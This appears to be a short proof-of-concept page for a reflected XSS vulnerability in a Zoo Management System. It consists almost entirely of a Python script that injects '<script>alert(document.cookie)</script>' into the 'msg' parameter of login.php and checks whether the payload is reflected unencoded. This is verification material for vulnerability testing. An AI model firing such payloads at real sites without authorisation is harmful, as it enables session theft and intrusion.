CVE-2026-30526 Zoo管理系统反射型XSS漏洞

import requests def verify_xss(target_url): # The vulnerable parameter is 'msg' on the login page # Using a simple script tag to test execution payload = '<script>alert(document.cookie)</script>' # Construct the full URL with the payload # Example: http://target/login.php?msg=<script>... params = {'msg': payload} try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response without encoding if payload in response.text: print('[+] Potential XSS found. Payload reflected unfiltered.') print('[+] Response URL:', response.url) else: print('[-] Payload not found in response or filtered.') except requests.exceptions.RequestException as e: print(f'Error connecting to target: {e}') if __name__ == '__main__': # Replace with the actual target URL target = 'http://vulnerable-site/zms/login.php' verify_xss(target)